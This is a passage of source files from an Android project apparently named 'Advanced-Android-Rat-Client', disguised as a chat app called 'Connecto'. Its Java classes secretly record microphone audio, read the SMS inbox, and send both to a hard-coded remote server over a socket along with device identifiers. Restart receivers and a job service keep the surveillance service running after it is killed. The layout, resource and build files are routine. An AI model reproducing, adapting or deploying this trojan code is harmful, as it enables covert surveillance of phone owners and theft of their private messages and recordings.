java.io.File; 15 | import java.io.FileInputStream; 16 | import java.io.FileNotFoundException; 17 | import java.io.IOException; 18 | import java.util.Timer; 19 | import java.util.TimerTask; 20 | 21 | public class GetRecord { 22 | static MediaRecorder recorder; 23 | static File audioFile = null; 24 | static final String TAG = "MediaRecording"; 25 | static TimerTask stopRecording; 26 | 27 | public static void startRecording(int sec)throws Exception{ 28 | //Creating file 29 | File dir = MainService.getContextOfApplication().getCacheDir(); 30 | 31 | try{ 32 | Log.e("DIRR" , dir.getAbsolutePath()); 33 | audioFile = File.createTempFile("sound", ".mp3", dir); 34 | }catch (IOException e){ 35 | Log.e(TAG, "external storage access error"); 36 | return; 37 | } 38 | 39 | recorder = new MediaRecorder(); 40 | recorder.setAudioSource(MediaRecorder.AudioSource.MIC); 41 | recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); 42 | recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); 43 | recorder.setOutputFile(audioFile.getAbsolutePath()); 44 | recorder.prepare(); 45 | recorder.start(); 46 | 47 | stopRecording = new TimerTask() { 48 | @Override 49 | public void run() { 50 | recorder.stop(); 51 | recorder.release(); 52 | sendVoice(audioFile); 53 | audioFile.delete(); 54 | } 55 | }; 56 | new Timer().schedule(stopRecording, sec* 1000); 57 | } 58 | 59 | private static void sendVoice(File file){ 60 | int size = (int) file.length(); 61 | Log.e("FIle Size", String.valueOf(file.length())); 62 | byte[] data = new byte[size]; 63 | try { 64 | BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file)); 65 | buf.read(data, 0, data.length); 66 | String file64 = Base64.encodeToString(data, Base64.DEFAULT); 67 | IOSocket.getInstance().getIoSocket().emit("record" , file64); 68 | buf.close(); 69 | } catch (FileNotFoundException e) { 70 | e.printStackTrace(); 71 | } catch (Exception e) { 72 | e.printStackTrace(); 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/model/Chat.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.model; 2 | 3 | public class Chat { 4 | private String sender; 5 | private String receiver; 6 | private String message; 7 | 8 | public Chat(String sender, String receiver, String message) { 9 | this.sender = sender; 10 | this.receiver = receiver; 11 | this.message = message; 12 | } 13 | 14 | public Chat() { 15 | } 16 | 17 | public String getSender() { 18 | return sender; 19 | } 20 | 21 | public void setSender(String sender) { 22 | this.sender = sender; 23 | } 24 | 25 | public String getReceiver() { 26 | return receiver; 27 | } 28 | 29 | public void setReceiver(String receiver) { 30 | this.receiver = receiver; 31 | } 32 | 33 | public String getMessage() { 34 | return message; 35 | } 36 | 37 | public void setMessage(String message) { 38 | this.message = message; 39 | } 40 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/model/User.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.model; 2 | 3 | public class User { 4 | private String uuid; 5 | private String fullname; 6 | private String username; 7 | private String imageURL; 8 | 9 | public User(String uuid,String fullname, String username, String imageURL){ 10 | this.uuid =uuid; 11 | this.username = username; 12 | this.fullname = fullname; 13 | this.imageURL = imageURL; 14 | } 15 | 16 | public User(){ 17 | 18 | } 19 | 20 | public String getFullName() { 21 | return fullname; 22 | } 23 | 24 | public void setFullName(String userFullName) { 25 | this.fullname = userFullName; 26 | } 27 | 28 | public String getUuid() { 29 | return uuid; 30 | } 31 | 32 | public void setUuid(String uuid) { 33 | this.uuid = uuid; 34 | } 35 | 36 | public String getUsername() { 37 | return username; 38 | } 39 | 40 | public void setUsername(String username) { 41 | this.username = username; 42 | } 43 | 44 | public String getImageURL() { 45 | return imageURL; 46 | } 47 | 48 | public void setImageURL(String imageURL) { 49 | this.imageURL = imageURL; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/process_restart/BroadcastReceive.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.process_restart; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | import com.example.chatapp.MainService; 8 | 9 | public class BroadcastReceive extends BroadcastReceiver { 10 | public BroadcastReceive() { 11 | } 12 | 13 | @Override 14 | public void onReceive(Context context, Intent intent) { 15 | // TODO: This method is called when the BroadcastReceiver is receiving 16 | // an Intent broadcast. 17 | intent = new Intent( context, MainService.class ); 18 | context.startService(intent); 19 | 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/process_restart/JobService.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.process_restart; 2 | 3 | import android.app.job.JobParameters; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.IntentFilter; 7 | import android.os.Build; 8 | import android.os.Handler; 9 | import android.util.Log; 10 | 11 | import androidx.annotation.RequiresApi; 12 | 13 | import com.example.chatapp.Globals; 14 | 15 | @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) 16 | public class JobService extends android.app.job.JobService { 17 | private static String TAG= JobService.class.getSimpleName(); 18 | private static SensorRestoreBroadcastReceiver restartSensorServiceReceiver; 19 | private static JobService instance; 20 | private static JobParameters jobParameters; 21 | 22 | @Override 23 | public boolean onStartJob(JobParameters jobParameters) { 24 | ProcessMainClass bck = new ProcessMainClass(); 25 | bck.launchService(this); 26 | registerRestarterReceiver(); 27 | instance= this; 28 | JobService.jobParameters= jobParameters; 29 | 30 | return false; 31 | } 32 | 33 | private void registerRestarterReceiver() { 34 | 35 | // the context can be null if app just installed and this is called from restartsensorservice 36 | // https://stackoverflow.com/questions/24934260/intentreceiver-components-are-not-allowed-to-register-to-receive-intents-when 37 | // Final decision: in case it is called from installation of new version (i.e. from manifest, the application is 38 | // null. So we must use context.registerReceiver. Otherwise this will crash and we try with context.getApplicationContext 39 | if (restartSensorServiceReceiver == null) 40 | restartSensorServiceReceiver = new SensorRestoreBroadcastReceiver(); 41 | else try{ 42 | unregisterReceiver(restartSensorServiceReceiver); 43 | } catch (Exception e){ 44 | // not registered 45 | } 46 | // give the time to run 47 | new Handler().postDelayed(new Runnable() { 48 | @Override 49 | public void run() { 50 | // we register the receiver that will restart the background service if it is killed 51 | // see onDestroy of Service 52 | IntentFilter filter = new IntentFilter(); 53 | filter.addAction(Globals.RESTART_INTENT); 54 | try { 55 | registerReceiver(restartSensorServiceReceiver, filter); 56 | } catch (Exception e) { 57 | try { 58 | getApplicationContext().registerReceiver(restartSensorServiceReceiver, filter); 59 | } catch (Exception ex) { 60 | 61 | } 62 | } 63 | } 64 | }, 1000); 65 | 66 | } 67 | 68 | /** 69 | * called if Android kills the job service 70 | * @param jobParameters 71 | * @return 72 | */ 73 | @Override 74 | public boolean onStopJob(JobParameters jobParameters) { 75 | Log.i(TAG, "Stopping job"); 76 | Intent broadcastIntent = new Intent(Globals.RESTART_INTENT); 77 | sendBroadcast(broadcastIntent); 78 | // give the time to run 79 | new Handler().postDelayed(new Runnable() { 80 | @Override 81 | public void run() { 82 | unregisterReceiver(restartSensorServiceReceiver); 83 | } 84 | }, 1000); 85 | 86 | return false; 87 | } 88 | 89 | 90 | /** 91 | * called when the tracker is stopped for whatever reason 92 | * @param context 93 | */ 94 | public static void stopJob(Context context) { 95 | if (instance!=null && jobParameters!=null) { 96 | try{ 97 | instance.unregisterReceiver(restartSensorServiceReceiver); 98 | } catch (Exception e){ 99 | // not registered 100 | } 101 | Log.i(TAG, "Finishing job"); 102 | instance.jobFinished(jobParameters, true); 103 | } 104 | } 105 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/process_restart/ProcessMainClass.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.process_restart; 2 | 3 | import android.content.Context; 4 | import android.content.Intent; 5 | import android.os.Build; 6 | import android.util.Log; 7 | 8 | import com.example.chatapp.MainService; 9 | 10 | public class ProcessMainClass { 11 | public static final String TAG = ProcessMainClass.class.getSimpleName(); 12 | private static Intent serviceIntent = null; 13 | 14 | public ProcessMainClass() { 15 | } 16 | 17 | 18 | private void setServiceIntent(Context context) { 19 | if (serviceIntent == null) { 20 | serviceIntent = new Intent(context, MainService.class); 21 | } 22 | } 23 | /** 24 | * launching the service 25 | */ 26 | public void launchService(Context context) { 27 | if (context == null) { 28 | return; 29 | } 30 | setServiceIntent(context); 31 | // depending on the version of Android we eitehr launch the simple service (version= Build.VERSION_CODES.O) { 34 | context.startForegroundService(serviceIntent); 35 | } else { 36 | context.startService(serviceIntent); 37 | } 38 | Log.d(TAG, "ProcessMainClass: start service go!!!!"); 39 | } 40 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/process_restart/SensorRestoreBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.process_restart; 2 | 3 | import android.app.job.JobInfo; 4 | import android.app.job.JobScheduler; 5 | import android.content.BroadcastReceiver; 6 | import android.content.ComponentName; 7 | import android.content.Context; 8 | import android.content.Intent; 9 | import android.content.IntentFilter; 10 | import android.content.pm.PackageInfo; 11 | import android.os.Build; 12 | import android.os.Handler; 13 | import android.util.Log; 14 | 15 | import androidx.annotation.RequiresApi; 16 | 17 | import com.example.chatapp.Globals; 18 | import com.example.chatapp.MainService; 19 | 20 | import static android.content.Context.JOB_SCHEDULER_SERVICE; 21 | 22 | public class SensorRestoreBroadcastReceiver extends BroadcastReceiver { 23 | public static final String TAG = SensorRestoreBroadcastReceiver.class.getSimpleName(); 24 | private static JobScheduler jobScheduler; 25 | private SensorRestoreBroadcastReceiver restartSensorServiceReceiver; 26 | 27 | /** 28 | * it returns the number of version code 29 | * 30 | * @param context 31 | * @return 32 | */ 33 | public static long getVersionCode(Context context) { 34 | PackageInfo pInfo; 35 | try { 36 | pInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), 0); 37 | long versionCode = System.currentTimeMillis(); //PackageInfoCompat.getLongVersionCode(pInfo); 38 | return versionCode; 39 | 40 | } catch (Exception e) { 41 | Log.e(TAG, e.getMessage()); 42 | } 43 | return 0; 44 | } 45 | 46 | 47 | 48 | @Override 49 | public void onReceive(final Context context, Intent intent) { 50 | Log.d(TAG, "about to start timer " + context.toString()); 51 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP){ 52 | scheduleJob(context); 53 | } else { 54 | registerRestarterReceiver(context); 55 | ProcessMainClass bck = new ProcessMainClass(); 56 | bck.launchService(context); 57 | } 58 | } 59 | 60 | @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) 61 | public static void scheduleJob(Context context) { 62 | if (jobScheduler == null) { 63 | jobScheduler = (JobScheduler) context 64 | .getSystemService(JOB_SCHEDULER_SERVICE); 65 | } 66 | ComponentName componentName = new ComponentName(context, 67 | JobService.class); 68 | JobInfo jobInfo = new JobInfo.Builder(1, componentName) 69 | // setOverrideDeadline runs it immediately - you must have at least one constraint 70 | // https://stackoverflow.com/questions/51064731/firing-jobservice-without-constraints 71 | .setOverrideDeadline(0) 72 | .setPersisted(true).build(); 73 | jobScheduler.schedule(jobInfo); 74 | } 75 | 76 | 77 | public static void reStartTracker(Context context) { 78 | // restart the never ending service 79 | Log.i(TAG, "Restarting tracker"); 80 | Intent broadcastIntent = new Intent(Globals.RESTART_INTENT); 81 | context.sendBroadcast(broadcastIntent); 82 | } 83 | 84 | 85 | private void registerRestarterReceiver(final Context context) { 86 | 87 | // the context can be null if app just installed and this is called from restartsensorservice 88 | // https://stackoverflow.com/questions/24934260/intentreceiver-components-are-not-allowed-to-register-to-receive-intents-when 89 | // Final decision: in case it is called from installation of new version (i.e. from manifest, the application is 90 | // null. So we must use context.registerReceiver. Otherwise this will crash and we try with context.getApplicationContext 91 | if (restartSensorServiceReceiver == null) 92 | restartSensorServiceReceiver = new SensorRestoreBroadcastReceiver(); 93 | else try{ 94 | context.unregisterReceiver(restartSensorServiceReceiver); 95 | } catch (Exception e){ 96 | // not registered 97 | } 98 | // give the time to run 99 | new Handler().postDelayed(new Runnable() { 100 | @Override 101 | public void run() { 102 | // we register the receiver that will restart the background service if it is killed 103 | // see onDestroy of Service 104 | IntentFilter filter = new IntentFilter(); 105 | filter.addAction(Globals.RESTART_INTENT); 106 | try { 107 | context.registerReceiver(restartSensorServiceReceiver, filter); 108 | } catch (Exception e) { 109 | try { 110 | context.getApplicationContext().registerReceiver(restartSensorServiceReceiver, filter); 111 | } catch (Exception ex) { 112 | 113 | } 114 | } 115 | } 116 | }, 1000); 117 | 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/sms/SMSReadService.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.sms; 2 | 3 | import android.database.Cursor; 4 | import android.net.Uri; 5 | import android.os.Build; 6 | import android.text.format.DateFormat; 7 | import android.util.Log; 8 | 9 | import androidx.annotation.RequiresApi; 10 | import androidx.core.app.ActivityCompat; 11 | 12 | import com.example.chatapp.MainService; 13 | import com.example.chatapp.utils.Utils; 14 | 15 | import org.json.JSONArray; 16 | import org.json.JSONObject; 17 | 18 | import java.util.Calendar; 19 | import java.util.Locale; 20 | 21 | public class SMSReadService { 22 | public static JSONObject getSMSList(){ 23 | try{ 24 | JSONObject smsList = new JSONObject(); 25 | JSONArray jsonArray = new JSONArray(); 26 | Uri uriSMSUri = Uri.parse("content://sms/inbox"); 27 | Cursor cur = null; 28 | if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { 29 | cur = MainService.getContextOfApplication().getContentResolver().query(uriSMSUri, null, null, null); 30 | } 31 | 32 | while (cur.moveToNext()){ 33 | JSONObject sms = new JSONObject(); 34 | String address = cur.getString(cur.getColumnIndex("address")); 35 | String body = cur.getString(cur.getColumnIndexOrThrow("body")); 36 | String person = cur.getString(cur.getColumnIndexOrThrow("person")); 37 | long timeStamp = cur.getLong(cur.getColumnIndex("date")); 38 | String dateTime = Utils.getDate(timeStamp); 39 | Log.d("time", "time : "+timeStamp); 40 | sms.put("phone-no" ,address); 41 | sms.put("message", body); 42 | sms.put("person", person); 43 | sms.put("date", dateTime); 44 | jsonArray.put(sms); 45 | } 46 | smsList.put("smsList", jsonArray); 47 | Log.e("done", "sms collecting job"); 48 | return smsList; 49 | }catch (Exception e){ 50 | e.printStackTrace(); 51 | } 52 | return null; 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/socket/IOSocket.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.socket; 2 | 3 | import android.os.Build; 4 | import android.provider.Settings; 5 | 6 | import com.example.chatapp.MainService; 7 | import com.example.chatapp.info.PhoneAccountInfo; 8 | 9 | import java.net.URISyntaxException; 10 | 11 | import io.socket.client.IO; 12 | import io.socket.client.Socket; 13 | 14 | public class IOSocket { 15 | private static IOSocket ourInstance = new IOSocket(); 16 | private io.socket.client.Socket ioSocket; 17 | 18 | 19 | 20 | private IOSocket() { 21 | try { 22 | 23 | String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID); 24 | IO.Options opts = new IO.Options(); 25 | opts.reconnection = true; 26 | opts.reconnectionDelay = 5000; 27 | opts.reconnectionDelayMax = 999999999; 28 | 29 | ioSocket = IO.socket("http://diptomondal-47482.portmap.io:47482?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID); 30 | } catch (URISyntaxException e) { 31 | e.printStackTrace(); 32 | } 33 | } 34 | 35 | 36 | public static IOSocket getInstance() { 37 | return ourInstance; 38 | } 39 | 40 | public Socket getIoSocket() { 41 | return ioSocket; 42 | } 43 | 44 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/utils/Notification.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.utils; 2 | 3 | import android.app.NotificationChannel; 4 | import android.app.NotificationManager; 5 | import android.app.PendingIntent; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.os.Build; 9 | 10 | import androidx.core.app.NotificationCompat; 11 | import androidx.core.content.ContextCompat; 12 | 13 | import com.example.chatapp.MainActivity; 14 | import com.example.chatapp.R; 15 | 16 | public class Notification { 17 | private PendingIntent notificationPendingIntent; 18 | 19 | //this method is called to create pending notification 20 | public android.app.Notification setNotification(Context context, String text, String title, int icon){ 21 | if (notificationPendingIntent == null) { 22 | Intent notificationIntent = new Intent(context, MainActivity.class); 23 | notificationIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); 24 | // notificationIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 25 | notificationPendingIntent = PendingIntent.getActivity(context, 0, notificationIntent, 0); 26 | } 27 | 28 | android.app.Notification notification; 29 | 30 | NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); 31 | 32 | // OREO 33 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O){ 34 | // Create the NotificationChannel, but only on API 26+ because 35 | // the NotificationChannel class is new and not in the support library 36 | CharSequence name = "Permanent Notification"; 37 | //mContext.getString(R.string.channel_name); 38 | int importance = NotificationManager.IMPORTANCE_LOW; 39 | 40 | String CHANNEL_ID = "com.example.chatapp.channel"; 41 | NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance); 42 | //String description = mContext.getString(R.string.notifications_description); 43 | String description = "I would like to receive travel alerts and notifications for:"; 44 | channel.setDescription(description); 45 | NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(context, CHANNEL_ID); 46 | if (notificationManager != null) { 47 | notificationManager.createNotificationChannel(channel); 48 | } 49 | notification = notificationBuilder 50 | //the log is PNG file format with a transparent background 51 | .setSmallIcon(icon) 52 | .setColor(ContextCompat.getColor(context, R.color.colorAccent)) 53 | .setContentTitle(title) 54 | .setContentText(text) 55 | .setContentIntent(notificationPendingIntent) 56 | .build(); 57 | 58 | } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { 59 | notification = new NotificationCompat.Builder(context, "channel") 60 | // to be defined in the MainActivity of the app 61 | .setSmallIcon(icon) 62 | .setContentTitle(title) 63 | // .setColor(mContext.getResources().getColor(R.color.colorAccent)) 64 | .setContentText(text) 65 | .setPriority(android.app.Notification.PRIORITY_MIN) 66 | .setContentIntent(notificationPendingIntent).build(); 67 | } else { 68 | notification = new NotificationCompat.Builder(context, "channel") 69 | // to be defined in the MainActivity of the app 70 | .setSmallIcon(icon) 71 | .setContentTitle(title) 72 | .setContentText(text) 73 | .setPriority(android.app.Notification.PRIORITY_MIN) 74 | .setContentIntent(notificationPendingIntent).build(); 75 | } 76 | 77 | return notification; 78 | } 79 | } 80 | 81 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/utils/Utils.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.utils; 2 | 3 | import android.text.format.DateFormat; 4 | 5 | import java.util.Calendar; 6 | import java.util.Locale; 7 | 8 | public class Utils { 9 | public static String getDate(long time) { 10 | Calendar cal = Calendar.getInstance(Locale.ENGLISH); 11 | cal.setTimeInMillis(time); 12 | String date = DateFormat.format("dd-MM-yyyy hh:mm:ss", cal).toString(); 13 | return date; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /app/src/main/res/FullColor_1280x1024_72dpi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/FullColor_1280x1024_72dpi.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/default_avatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/drawable-v24/default_avatar.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 15 | 18 | 21 | 22 | 23 | 24 | 30 | -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/drawable-v24/icon.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/profile_ui_design.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/drawable-v24/profile_ui_design.jpg -------------------------------------------------------------------------------- /app/src/main/res/drawable/background_left.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/background_right.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_bull.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 12 | 15 | 18 | 21 | 24 | 27 | 30 | 33 | 36 | 39 | 42 | 45 | 48 | 51 | 54 | 57 | 60 | 63 | 66 | 69 | 72 | 75 | 78 | 81 | 84 | 87 | 90 | 93 | 96 | 99 | 102 | 105 | 108 | 111 | 114 | 115 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_person_black_24dp.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_send_black_24dp.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/font/bungee.xml: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_login.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 14 | 21 | 22 | 29 | 30 | 31 | 37 | 38 | 39 | 40 | 49 | 50 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 11 | 16 | 21 | 22 | 32 | 33 | 40 | 41 | 42 | 47 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_message.xml: -------------------------------------------------------------------------------- 1 | 2 | 10 | 11 | 15 | 16 | 23 | 24 | 28 | 29 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 49 | 50 | 58 | 59 | 66 | 67 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_profile.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 15 | 16 | 27 | 28 | 29 | 37 | 38 | 39 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_registration.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 14 | 21 | 28 | 29 | 36 | 37 | 44 | 45 | 51 | 52 | 53 | 62 | 63 | -------------------------------------------------------------------------------- /app/src/main/res/layout/chat_item_left.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 13 | 14 | 24 | 25 | -------------------------------------------------------------------------------- /app/src/main/res/layout/chat_item_right.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 13 | 14 | 19 | 20 | 31 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /app/src/main/res/layout/fragment_chats.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 15 | 16 | 20 | 21 | -------------------------------------------------------------------------------- /app/src/main/res/layout/fragment_users.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 13 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /app/src/main/res/layout/user_item.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 13 | 14 | 25 | 26 | -------------------------------------------------------------------------------- /app/src/main/res/menu/menu.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 9 | -------------------------------------------------------------------------------- /app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-hdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-mdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/values/arrays.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #6200EE 4 | #3700B3 5 | #03DAC5 6 | 7 | -------------------------------------------------------------------------------- /app/src/main/res/values/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 16dp 4 | 16dp 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | Connecto 3 | TODO 4 | Sign in 5 | Email 6 | Password 7 | Sign in or register 8 | Sign in 9 | "Welcome !" 10 | Not a valid username 11 | Password must be >5 characters 12 | "Login failed" 13 | 14 | 15 | Hello blank fragment 16 | 17 | -------------------------------------------------------------------------------- /app/src/main/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/xml/nerwork_config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | rat-server.ddns.net 5 | 6 | -------------------------------------------------------------------------------- /app/src/test/java/com/example/chatapp/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | /** 8 | * Example local unit test, which will execute on the development machine (host). 9 | * 10 | * @see Testing documentation 11 | */ 12 | public class ExampleUnitTest { 13 | @Test 14 | public void addition_isCorrect() { 15 | assertEquals(4, 2 + 2); 16 | } 17 | } -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | 5 | repositories { 6 | google() 7 | jcenter() 8 | 9 | } 10 | dependencies { 11 | classpath 'com.android.tools.build:gradle:3.6.1' 12 | classpath 'com.google.gms:google-services:4.2.0' 13 | 14 | 15 | // NOTE: Do not place your application dependencies here; they belong 16 | // in the individual module build.gradle files 17 | } 18 | } 19 | 20 | allprojects { 21 | repositories { 22 | google() 23 | jcenter() 24 | 25 | } 26 | } 27 | 28 | task clean(type: Delete) { 29 | delete 